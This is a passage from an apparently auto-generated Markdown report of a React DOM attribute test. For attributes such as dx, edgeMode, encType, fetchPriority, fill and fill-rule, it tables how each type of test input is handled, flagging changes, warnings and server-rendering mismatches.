|\n| `dur=(symbol)`| (initial, warning)| `<null>` |\n| `dur=(function)`| (initial, warning)| `<null>` |\n| `dur=(null)`| (initial)| `<null>` |\n| `dur=(undefined)`| (initial)| `<null>` |\n\n## `dx` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dx=(string)`| (changed)| `[<SVGLength: 1pt>, <SVGLength: 2px>, <SVGLength: 3em>]` |\n| `dx=(empty string)`| (initial)| `[]` |\n| `dx=(array with string)`| (changed)| `[<SVGLength: 1pt>, <SVGLength: 2px>, <SVGLength: 3em>]` |\n| `dx=(empty array)`| (initial)| `[]` |\n| `dx=(object)`| (initial)| `[]` |\n| `dx=(numeric string)`| (changed)| `[<SVGLength: 42>]` |\n| `dx=(-1)`| (changed)| `[<SVGLength: -1>]` |\n| `dx=(0)`| (changed)| `[<SVGLength: 0>]` |\n| `dx=(integer)`| (changed)| `[<SVGLength: 1>]` |\n| `dx=(NaN)`| (initial, warning)| `[]` |\n| `dx=(float)`| (changed)| `[<SVGLength: 99.99>]` |\n| `dx=(true)`| (initial, warning)| `[]` |\n| `dx=(false)`| (initial, warning)| `[]` |\n| `dx=(string 'true')`| (initial)| `[]` |\n| `dx=(string 'false')`| (initial)| `[]` |\n| `dx=(string 'on')`| (initial)| `[]` |\n| `dx=(string 'off')`| (initial)| `[]` |\n| `dx=(symbol)`| (initial, warning)| `[]` |\n| `dx=(function)`| (initial, warning)| `[]` |\n| `dx=(null)`| (initial)| `[]` |\n| `dx=(undefined)`| (initial)| `[]` |\n\n## `dX` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dX=(string)`| (initial, warning, ssr mismatch)| `[]` |\n| `dX=(empty string)`| (initial, warning)| `[]` |\n| `dX=(array with string)`| (initial, warning, ssr mismatch)| `[]` |\n| `dX=(empty array)`| (initial, warning)| `[]` |\n| `dX=(object)`| (initial, warning)| `[]` |\n| `dX=(numeric string)`| (initial, warning, ssr mismatch)| `[]` |\n| `dX=(-1)`| (initial, warning, ssr mismatch)| `[]` |\n| `dX=(0)`| (initial, warning, ssr mismatch)| `[]` |\n| `dX=(integer)`| (initial, warning, ssr mismatch)| `[]` |\n| `dX=(NaN)`| (initial, warning)| `[]` |\n| `dX=(float)`| (initial, warning, ssr mismatch)| `[]` |\n| `dX=(true)`| (initial, warning)| `[]` |\n| `dX=(false)`| (initial, warning)| `[]` |\n| `dX=(string 'true')`| (initial, warning)| `[]` |\n| `dX=(string 'false')`| (initial, warning)| `[]` |\n| `dX=(string 'on')`| (initial, warning)| `[]` |\n| `dX=(string 'off')`| (initial, warning)| `[]` |\n| `dX=(symbol)`| (initial, warning)| `[]` |\n| `dX=(function)`| (initial, warning)| `[]` |\n| `dX=(null)`| (initial, warning)| `[]` |\n| `dX=(undefined)`| (initial, warning)| `[]` |\n\n## `dy` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dy=(string)`| (changed)| `[<SVGLength: 1>, <SVGLength: 2>, <SVGLength: 3>]` |\n| `dy=(empty string)`| (initial)| `[]` |\n| `dy=(array with string)`| (changed)| `[<SVGLength: 1>, <SVGLength: 2>, <SVGLength: 3>]` |\n| `dy=(empty array)`| (initial)| `[]` |\n| `dy=(object)`| (initial)| `[]` |\n| `dy=(numeric string)`| (changed)| `[<SVGLength: 42>]` |\n| `dy=(-1)`| (changed)| `[<SVGLength: -1>]` |\n| `dy=(0)`| (changed)| `[<SVGLength: 0>]` |\n| `dy=(integer)`| (changed)| `[<SVGLength: 1>]` |\n| `dy=(NaN)`| (initial, warning)| `[]` |\n| `dy=(float)`| (changed)| `[<SVGLength: 99.99>]` |\n| `dy=(true)`| (initial, warning)| `[]` |\n| `dy=(false)`| (initial, warning)| `[]` |\n| `dy=(string 'true')`| (initial)| `[]` |\n| `dy=(string 'false')`| (initial)| `[]` |\n| `dy=(string 'on')`| (initial)| `[]` |\n| `dy=(string 'off')`| (initial)| `[]` |\n| `dy=(symbol)`| (initial, warning)| `[]` |\n| `dy=(function)`| (initial, warning)| `[]` |\n| `dy=(null)`| (initial)| `[]` |\n| `dy=(undefined)`| (initial)| `[]` |\n\n## `dY` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dY=(string)`| (initial, warning, ssr mismatch)| `[]` |\n| `dY=(empty string)`| (initial, warning)| `[]` |\n| `dY=(array with string)`| (initial, warning, ssr mismatch)| `[]` |\n| `dY=(empty array)`| (initial, warning)| `[]` |\n| `dY=(object)`| (initial, warning)| `[]` |\n| `dY=(numeric string)`| (initial, warning, ssr mismatch)| `[]` |\n| `dY=(-1)`| (initial, warning, ssr mismatch)| `[]` |\n| `dY=(0)`| (initial, warning, ssr mismatch)| `[]` |\n| `dY=(integer)`| (initial, warning, ssr mismatch)| `[]` |\n| `dY=(NaN)`| (initial, warning)| `[]` |\n| `dY=(float)`| (initial, warning, ssr mismatch)| `[]` |\n| `dY=(true)`| (initial, warning)| `[]` |\n| `dY=(false)`| (initial, warning)| `[]` |\n| `dY=(string 'true')`| (initial, warning)| `[]` |\n| `dY=(string 'false')`| (initial, warning)| `[]` |\n| `dY=(string 'on')`| (initial, warning)| `[]` |\n| `dY=(string 'off')`| (initial, warning)| `[]` |\n| `dY=(symbol)`| (initial, warning)| `[]` |\n| `dY=(function)`| (initial, warning)| `[]` |\n| `dY=(null)`| (initial, warning)| `[]` |\n| `dY=(undefined)`| (initial, warning)| `[]` |\n\n## `edgeMode` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `edgeMode=(string)`| (changed)| `<number: 2>` |\n| `edgeMode=(empty string)`| (initial)| `<number: 1>` |\n| `edgeMode=(array with string)`| (changed)| `<number: 2>` |\n| `edgeMode=(empty array)`| (initial)| `<number: 1>` |\n| `edgeMode=(object)`| (initial)| `<number: 1>` |\n| `edgeMode=(numeric string)`| (initial)| `<number: 1>` |\n| `edgeMode=(-1)`| (initial)| `<number: 1>` |\n| `edgeMode=(0)`| (initial)| `<number: 1>` |\n| `edgeMode=(integer)`| (initial)| `<number: 1>` |\n| `edgeMode=(NaN)`| (initial, warning)| `<number: 1>` |\n| `edgeMode=(float)`| (initial)| `<number: 1>` |\n| `edgeMode=(true)`| (initial, warning)| `<number: 1>` |\n| `edgeMode=(false)`| (initial, warning)| `<number: 1>` |\n| `edgeMode=(string 'true')`| (initial)| `<number: 1>` |\n| `edgeMode=(string 'false')`| (initial)| `<number: 1>` |\n| `edgeMode=(string 'on')`| (initial)| `<number: 1>` |\n| `edgeMode=(string 'off')`| (initial)| `<number: 1>` |\n| `edgeMode=(symbol)`| (initial, warning)| `<number: 1>` |\n| `edgeMode=(function)`| (initial, warning)| `<number: 1>` |\n| `edgeMode=(null)`| (initial)| `<number: 1>` |\n| `edgeMode=(undefined)`| (initial)| `<number: 1>` |\n\n## `elevation` (on `<feDistantLight>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `elevation=(string)`| (initial)| `<number: 0>` |\n| `elevation=(empty string)`| (initial)| `<number: 0>` |\n| `elevation=(array with string)`| (initial)| `<number: 0>` |\n| `elevation=(empty array)`| (initial)| `<number: 0>` |\n| `elevation=(object)`| (initial)| `<number: 0>` |\n| `elevation=(numeric string)`| (changed)| `<number: 42>` |\n| `elevation=(-1)`| (changed)| `<number: -1>` |\n| `elevation=(0)`| (initial)| `<number: 0>` |\n| `elevation=(integer)`| (changed)| `<number: 1>` |\n| `elevation=(NaN)`| (initial, warning)| `<number: 0>` |\n| `elevation=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `elevation=(true)`| (initial, warning)| `<number: 0>` |\n| `elevation=(false)`| (initial, warning)| `<number: 0>` |\n| `elevation=(string 'true')`| (initial)| `<number: 0>` |\n| `elevation=(string 'false')`| (initial)| `<number: 0>` |\n| `elevation=(string 'on')`| (initial)| `<number: 0>` |\n| `elevation=(string 'off')`| (initial)| `<number: 0>` |\n| `elevation=(symbol)`| (initial, warning)| `<number: 0>` |\n| `elevation=(function)`| (initial, warning)| `<number: 0>` |\n| `elevation=(null)`| (initial)| `<number: 0>` |\n| `elevation=(undefined)`| (initial)| `<number: 0>` |\n\n## `enable-background` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `enable-background=(string)`| (changed, warning)| `\"a string\"` |\n| `enable-background=(empty string)`| (changed, warning)| `<empty string>` |\n| `enable-background=(array with string)`| (changed, warning)| `\"string\"` |\n| `enable-background=(empty array)`| (changed, warning)| `<empty string>` |\n| `enable-background=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `enable-background=(numeric string)`| (changed, warning)| `\"42\"` |\n| `enable-background=(-1)`| (changed, warning)| `\"-1\"` |\n| `enable-background=(0)`| (changed, warning)| `\"0\"` |\n| `enable-background=(integer)`| (changed, warning)| `\"1\"` |\n| `enable-background=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `enable-background=(float)`| (changed, warning)| `\"99.99\"` |\n| `enable-background=(true)`| (initial, warning)| `<null>` |\n| `enable-background=(false)`| (initial, warning)| `<null>` |\n| `enable-background=(string 'true')`| (changed, warning)| `\"true\"` |\n| `enable-background=(string 'false')`| (changed, warning)| `\"false\"` |\n| `enable-background=(string 'on')`| (changed, warning)| `\"on\"` |\n| `enable-background=(string 'off')`| (changed, warning)| `\"off\"` |\n| `enable-background=(symbol)`| (initial, warning)| `<null>` |\n| `enable-background=(function)`| (initial, warning)| `<null>` |\n| `enable-background=(null)`| (initial, warning)| `<null>` |\n| `enable-background=(undefined)`| (initial, warning)| `<null>` |\n\n## `enableBackground` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `enableBackground=(string)`| (changed)| `\"a string\"` |\n| `enableBackground=(empty string)`| (changed)| `<empty string>` |\n| `enableBackground=(array with string)`| (changed)| `\"string\"` |\n| `enableBackground=(empty array)`| (changed)| `<empty string>` |\n| `enableBackground=(object)`| (changed)| `\"result of toString()\"` |\n| `enableBackground=(numeric string)`| (changed)| `\"42\"` |\n| `enableBackground=(-1)`| (changed)| `\"-1\"` |\n| `enableBackground=(0)`| (changed)| `\"0\"` |\n| `enableBackground=(integer)`| (changed)| `\"1\"` |\n| `enableBackground=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `enableBackground=(float)`| (changed)| `\"99.99\"` |\n| `enableBackground=(true)`| (initial, warning)| `<null>` |\n| `enableBackground=(false)`| (initial, warning)| `<null>` |\n| `enableBackground=(string 'true')`| (changed)| `\"true\"` |\n| `enableBackground=(string 'false')`| (changed)| `\"false\"` |\n| `enableBackground=(string 'on')`| (changed)| `\"on\"` |\n| `enableBackground=(string 'off')`| (changed)| `\"off\"` |\n| `enableBackground=(symbol)`| (initial, warning)| `<null>` |\n| `enableBackground=(function)`| (initial, warning)| `<null>` |\n| `enableBackground=(null)`| (initial)| `<null>` |\n| `enableBackground=(undefined)`| (initial)| `<null>` |\n\n## `encType` (on `<form>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `encType=(string)`| (changed)| `\"text/plain\"` |\n| `encType=(empty string)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(array with string)`| (changed)| `\"text/plain\"` |\n| `encType=(empty array)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(object)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(numeric string)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(-1)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(0)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(integer)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(NaN)`| (initial, warning)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(float)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(true)`| (initial, warning)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(false)`| (initial, warning)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(string 'true')`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(string 'false')`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(string 'on')`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(string 'off')`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(symbol)`| (initial, warning)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(function)`| (initial, warning)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(null)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n| `encType=(undefined)`| (initial)| `\"application/x-www-form-urlencoded\"` |\n\n## `end` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `end=(string)`| (changed)| `\"a string\"` |\n| `end=(empty string)`| (changed)| `<empty string>` |\n| `end=(array with string)`| (changed)| `\"string\"` |\n| `end=(empty array)`| (changed)| `<empty string>` |\n| `end=(object)`| (changed)| `\"result of toString()\"` |\n| `end=(numeric string)`| (changed)| `\"42\"` |\n| `end=(-1)`| (changed)| `\"-1\"` |\n| `end=(0)`| (changed)| `\"0\"` |\n| `end=(integer)`| (changed)| `\"1\"` |\n| `end=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `end=(float)`| (changed)| `\"99.99\"` |\n| `end=(true)`| (initial, warning)| `<null>` |\n| `end=(false)`| (initial, warning)| `<null>` |\n| `end=(string 'true')`| (changed)| `\"true\"` |\n| `end=(string 'false')`| (changed)| `\"false\"` |\n| `end=(string 'on')`| (changed)| `\"on\"` |\n| `end=(string 'off')`| (changed)| `\"off\"` |\n| `end=(symbol)`| (initial, warning)| `<null>` |\n| `end=(function)`| (initial, warning)| `<null>` |\n| `end=(null)`| (initial)| `<null>` |\n| `end=(undefined)`| (initial)| `<null>` |\n\n## `enterKeyHint` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `enterKeyHint=(string)`| (initial)| `<empty string>` |\n| `enterKeyHint=(empty string)`| (initial)| `<empty string>` |\n| `enterKeyHint=(array with string)`| (initial)| `<empty string>` |\n| `enterKeyHint=(empty array)`| (initial)| `<empty string>` |\n| `enterKeyHint=(object)`| (initial)| `<empty string>` |\n| `enterKeyHint=(numeric string)`| (initial)| `<empty string>` |\n| `enterKeyHint=(-1)`| (initial)| `<empty string>` |\n| `enterKeyHint=(0)`| (initial)| `<empty string>` |\n| `enterKeyHint=(integer)`| (initial)| `<empty string>` |\n| `enterKeyHint=(NaN)`| (initial, warning)| `<empty string>` |\n| `enterKeyHint=(float)`| (initial)| `<empty string>` |\n| `enterKeyHint=(true)`| (initial, warning)| `<empty string>` |\n| `enterKeyHint=(false)`| (initial, warning)| `<empty string>` |\n| `enterKeyHint=(string 'true')`| (initial)| `<empty string>` |\n| `enterKeyHint=(string 'false')`| (initial)| `<empty string>` |\n| `enterKeyHint=(string 'on')`| (initial)| `<empty string>` |\n| `enterKeyHint=(string 'off')`| (initial)| `<empty string>` |\n| `enterKeyHint=(symbol)`| (initial, warning)| `<empty string>` |\n| `enterKeyHint=(function)`| (initial, warning)| `<empty string>` |\n| `enterKeyHint=(null)`| (initial)| `<empty string>` |\n| `enterKeyHint=(undefined)`| (initial)| `<empty string>` |\n\n## `exponent` (on `<feFuncA>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `exponent=(string)`| (initial)| `<number: 1>` |\n| `exponent=(empty string)`| (changed)| `<number: 0>` |\n| `exponent=(array with string)`| (initial)| `<number: 1>` |\n| `exponent=(empty array)`| (changed)| `<number: 0>` |\n| `exponent=(object)`| (initial)| `<number: 1>` |\n| `exponent=(numeric string)`| (changed)| `<number: 42>` |\n| `exponent=(-1)`| (changed)| `<number: -1>` |\n| `exponent=(0)`| (changed)| `<number: 0>` |\n| `exponent=(integer)`| (initial)| `<number: 1>` |\n| `exponent=(NaN)`| (initial, warning)| `<number: 1>` |\n| `exponent=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `exponent=(true)`| (initial, warning)| `<number: 1>` |\n| `exponent=(false)`| (initial, warning)| `<number: 1>` |\n| `exponent=(string 'true')`| (initial)| `<number: 1>` |\n| `exponent=(string 'false')`| (initial)| `<number: 1>` |\n| `exponent=(string 'on')`| (initial)| `<number: 1>` |\n| `exponent=(string 'off')`| (initial)| `<number: 1>` |\n| `exponent=(symbol)`| (initial, warning)| `<number: 1>` |\n| `exponent=(function)`| (initial, warning)| `<number: 1>` |\n| `exponent=(null)`| (initial)| `<number: 1>` |\n| `exponent=(undefined)`| (initial)| `<number: 1>` |\n\n## `externalResourcesRequired` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `externalResourcesRequired=(string)`| (changed, ssr mismatch)| `\"a string\"` |\n| `externalResourcesRequired=(empty string)`| (changed, ssr mismatch)| `<empty string>` |\n| `externalResourcesRequired=(array with string)`| (changed, ssr mismatch)| `\"string\"` |\n| `externalResourcesRequired=(empty array)`| (changed, ssr mismatch)| `<empty string>` |\n| `externalResourcesRequired=(object)`| (changed, ssr mismatch)| `\"result of toString()\"` |\n| `externalResourcesRequired=(numeric string)`| (changed, ssr mismatch)| `\"42\"` |\n| `externalResourcesRequired=(-1)`| (changed, ssr mismatch)| `\"-1\"` |\n| `externalResourcesRequired=(0)`| (changed, ssr mismatch)| `\"0\"` |\n| `externalResourcesRequired=(integer)`| (changed, ssr mismatch)| `\"1\"` |\n| `externalResourcesRequired=(NaN)`| (changed, warning, ssr mismatch)| `\"NaN\"` |\n| `externalResourcesRequired=(float)`| (changed, ssr mismatch)| `\"99.99\"` |\n| `externalResourcesRequired=(true)`| (changed, ssr mismatch)| `\"true\"` |\n| `externalResourcesRequired=(false)`| (changed, ssr mismatch)| `\"false\"` |\n| `externalResourcesRequired=(string 'true')`| (changed, ssr mismatch)| `\"true\"` |\n| `externalResourcesRequired=(string 'false')`| (changed, ssr mismatch)| `\"false\"` |\n| `externalResourcesRequired=(string 'on')`| (changed, ssr mismatch)| `\"on\"` |\n| `externalResourcesRequired=(string 'off')`| (changed, ssr mismatch)| `\"off\"` |\n| `externalResourcesRequired=(symbol)`| (initial, warning)| `<null>` |\n| `externalResourcesRequired=(function)`| (initial, warning)| `<null>` |\n| `externalResourcesRequired=(null)`| (initial)| `<null>` |\n| `externalResourcesRequired=(undefined)`| (initial)| `<null>` |\n\n## `fetchPriority` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fetchPriority=(string)`| (changed)| `\"high\"` |\n| `fetchPriority=(empty string)`| (initial)| `\"auto\"` |\n| `fetchPriority=(array with string)`| (changed)| `\"high\"` |\n| `fetchPriority=(empty array)`| (initial)| `\"auto\"` |\n| `fetchPriority=(object)`| (initial)| `\"auto\"` |\n| `fetchPriority=(numeric string)`| (initial)| `\"auto\"` |\n| `fetchPriority=(-1)`| (initial)| `\"auto\"` |\n| `fetchPriority=(0)`| (initial)| `\"auto\"` |\n| `fetchPriority=(integer)`| (initial)| `\"auto\"` |\n| `fetchPriority=(NaN)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(float)`| (initial)| `\"auto\"` |\n| `fetchPriority=(true)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(false)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(string 'true')`| (initial)| `\"auto\"` |\n| `fetchPriority=(string 'false')`| (initial)| `\"auto\"` |\n| `fetchPriority=(string 'on')`| (initial)| `\"auto\"` |\n| `fetchPriority=(string 'off')`| (initial)| `\"auto\"` |\n| `fetchPriority=(symbol)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(function)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(null)`| (initial)| `\"auto\"` |\n| `fetchPriority=(undefined)`| (initial)| `\"auto\"` |\n\n## `fetchpriority` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fetchpriority=(string)`| (changed, warning)| `\"high\"` |\n| `fetchpriority=(empty string)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(array with string)`| (changed, warning)| `\"high\"` |\n| `fetchpriority=(empty array)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(object)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(numeric string)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(-1)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(0)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(integer)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(NaN)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(float)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(true)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(false)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(string 'true')`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(string 'false')`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(string 'on')`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(string 'off')`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(symbol)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(function)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(null)`| (initial, warning)| `\"auto\"` |\n| `fetchpriority=(undefined)`| (initial, warning)| `\"auto\"` |\n\n## `fetchPriority` (on `<link>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fetchPriority=(string)`| (changed)| `\"high\"` |\n| `fetchPriority=(empty string)`| (initial)| `\"auto\"` |\n| `fetchPriority=(array with string)`| (changed)| `\"high\"` |\n| `fetchPriority=(empty array)`| (initial)| `\"auto\"` |\n| `fetchPriority=(object)`| (initial)| `\"auto\"` |\n| `fetchPriority=(numeric string)`| (initial)| `\"auto\"` |\n| `fetchPriority=(-1)`| (initial)| `\"auto\"` |\n| `fetchPriority=(0)`| (initial)| `\"auto\"` |\n| `fetchPriority=(integer)`| (initial)| `\"auto\"` |\n| `fetchPriority=(NaN)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(float)`| (initial)| `\"auto\"` |\n| `fetchPriority=(true)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(false)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(string 'true')`| (initial)| `\"auto\"` |\n| `fetchPriority=(string 'false')`| (initial)| `\"auto\"` |\n| `fetchPriority=(string 'on')`| (initial)| `\"auto\"` |\n| `fetchPriority=(string 'off')`| (initial)| `\"auto\"` |\n| `fetchPriority=(symbol)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(function)`| (initial, warning)| `\"auto\"` |\n| `fetchPriority=(null)`| (initial)| `\"auto\"` |\n| `fetchPriority=(undefined)`| (initial)| `\"auto\"` |\n\n## `fill` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fill=(string)`| (changed)| `\"a string\"` |\n| `fill=(empty string)`| (changed)| `<empty string>` |\n| `fill=(array with string)`| (changed)| `\"string\"` |\n| `fill=(empty array)`| (changed)| `<empty string>` |\n| `fill=(object)`| (changed)| `\"result of toString()\"` |\n| `fill=(numeric string)`| (changed)| `\"42\"` |\n| `fill=(-1)`| (changed)| `\"-1\"` |\n| `fill=(0)`| (changed)| `\"0\"` |\n| `fill=(integer)`| (changed)| `\"1\"` |\n| `fill=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fill=(float)`| (changed)| `\"99.99\"` |\n| `fill=(true)`| (initial, warning)| `<null>` |\n| `fill=(false)`| (initial, warning)| `<null>` |\n| `fill=(string 'true')`| (changed)| `\"true\"` |\n| `fill=(string 'false')`| (changed)| `\"false\"` |\n| `fill=(string 'on')`| (changed)| `\"on\"` |\n| `fill=(string 'off')`| (changed)| `\"off\"` |\n| `fill=(symbol)`| (initial, warning)| `<null>` |\n| `fill=(function)`| (initial, warning)| `<null>` |\n| `fill=(null)`| (initial)| `<null>` |\n| `fill=(undefined)`| (initial)| `<null>` |\n\n## `fillOpacity` (on `<circle>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fillOpacity=(string)`| (changed)| `\"a string\"` |\n| `fillOpacity=(empty string)`| (changed)| `<empty string>` |\n| `fillOpacity=(array with string)`| (changed)| `\"string\"` |\n| `fillOpacity=(empty array)`| (changed)| `<empty string>` |\n| `fillOpacity=(object)`| (changed)| `\"result of toString()\"` |\n| `fillOpacity=(numeric string)`| (changed)| `\"42\"` |\n| `fillOpacity=(-1)`| (changed)| `\"-1\"` |\n| `fillOpacity=(0)`| (changed)| `\"0\"` |\n| `fillOpacity=(integer)`| (changed)| `\"1\"` |\n| `fillOpacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fillOpacity=(float)`| (changed)| `\"99.99\"` |\n| `fillOpacity=(true)`| (initial, warning)| `<null>` |\n| `fillOpacity=(false)`| (initial, warning)| `<null>` |\n| `fillOpacity=(string 'true')`| (changed)| `\"true\"` |\n| `fillOpacity=(string 'false')`| (changed)| `\"false\"` |\n| `fillOpacity=(string 'on')`| (changed)| `\"on\"` |\n| `fillOpacity=(string 'off')`| (changed)| `\"off\"` |\n| `fillOpacity=(symbol)`| (initial, warning)| `<null>` |\n| `fillOpacity=(function)`| (initial, warning)| `<null>` |\n| `fillOpacity=(null)`| (initial)| `<null>` |\n| `fillOpacity=(undefined)`| (initial)| `<null>` |\n\n## `fill-opacity` (on `<circle>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fill-opacity=(string)`| (changed, warning)| `\"a string\"` |\n| `fill-opacity=(empty string)`| (changed, warning)| `<empty string>` |\n| `fill-opacity=(array with string)`| (changed, warning)| `\"string\"` |\n| `fill-opacity=(empty array)`| (changed, warning)| `<empty string>` |\n| `fill-opacity=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `fill-opacity=(numeric string)`| (changed, warning)| `\"42\"` |\n| `fill-opacity=(-1)`| (changed, warning)| `\"-1\"` |\n| `fill-opacity=(0)`| (changed, warning)| `\"0\"` |\n| `fill-opacity=(integer)`| (changed, warning)| `\"1\"` |\n| `fill-opacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fill-opacity=(float)`| (changed, warning)| `\"99.99\"` |\n| `fill-opacity=(true)`| (initial, warning)| `<null>` |\n| `fill-opacity=(false)`| (initial, warning)| `<null>` |\n| `fill-opacity=(string 'true')`| (changed, warning)| `\"true\"` |\n| `fill-opacity=(string 'false')`| (changed, warning)| `\"false\"` |\n| `fill-opacity=(string 'on')`| (changed, warning)| `\"on\"` |\n| `fill-opacity=(string 'off')`| (changed, warning)| `\"off\"` |\n| `fill-opacity=(symbol)`| (initial, warning)| `<null>` |\n| `fill-opacity=(function)`| (initial, warning)| `<null>` |\n| `fill-opacity=(null)`| (initial, warning)| `<null>` |\n| `fill-opacity=(undefined)`| (initial, warning)| `<null>` |\n\n## `fillRule` (on `<circle>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fillRule=(string)`| (changed)| `\"a string\"` |\n| `fillRule=(empty string)`| (changed)| `<empty string>` |\n| `fillRule=(array with string)`| (changed)| `\"string\"` |\n| `fillRule=(empty array)`| (changed)| `<empty string>` |\n| `fillRule=(object)`| (changed)| `\"result of toString()\"` |\n| `fillRule=(numeric string)`| (changed)| `\"42\"` |\n| `fillRule=(-1)`| (changed)| `\"-1\"` |\n| `fillRule=(0)`| (changed)| `\"0\"` |\n| `fillRule=(integer)`| (changed)| `\"1\"` |\n| `fillRule=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fillRule=(float)`| (changed)| `\"99.99\"` |\n| `fillRule=(true)`| (initial, warning)| `<null>` |\n| `fillRule=(false)`| (initial, warning)| `<null>` |\n| `fillRule=(string 'true')`| (changed)| `\"true\"` |\n| `fillRule=(string 'false')`| (changed)| `\"false\"` |\n| `fillRule=(string 'on')`| (changed)| `\"on\"` |\n| `fillRule=(string 'off')`| (changed)| `\"off\"` |\n| `fillRule=(symbol)`| (initial, warning)| `<null>` |\n| `fillRule=(function)`| (initial, warning)| `<null>` |\n| `fillRule=(null)`| (initial)| `<null>` |\n| `fillRule=(undefined)`| (initial)| `<null>` |\n\n## `fill-rule` (on `<circle>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fill-rule=(string)`| (changed, warning)| `\"a string\"` |\n| `fill-rule=(empty string)`| (changed, warning)| `<empty string>` |\n| `fill-rule=(array with string)`| (changed, warning)| `\"string\"` |\n| `fill-rule=(empty array)`| (changed, warning)| `<empty string>` |\n| `fill-rule=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `fill-rule=(numeric string)`| (changed, warning)| `\"42\"` |\n| `fill-rule=(-1)`| (changed, warning)| `\"-1\"` |\n| `fill-rule=(0)`| (changed, warning)| `\"0\"` |\n| `fill-rule=(integer)`| (changed, warning)| `\"1\"` |\n| `fill-rule=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fill-rule=(float)`| (changed, warning)| `\"99.99\"` |\n| `fill-rule=(true)`| (initial, warning)| `<null>` |\n| `fill-rule=(false)`| (initial, warning)| `<null>` |\n| `fill-rule=(string 'true')`| (changed, warning)| `\"true\"` |\n| `fill-rule=(string 'false')`| (changed, warning)| `\"false\"` |\n| `fill-rule=(string 'on')`| (changed, warning)| `\"on\"` |\n| `fill-rule=(string 'off')`| (changed, warning)| `\"off\"` |\n| `fill-rule=(symbol)`| (initial, warning)| `<null>` |\n| `fill-rule=(function)`| (initial, warning)| `<null>` |\n| `fill-rule=(null)`| 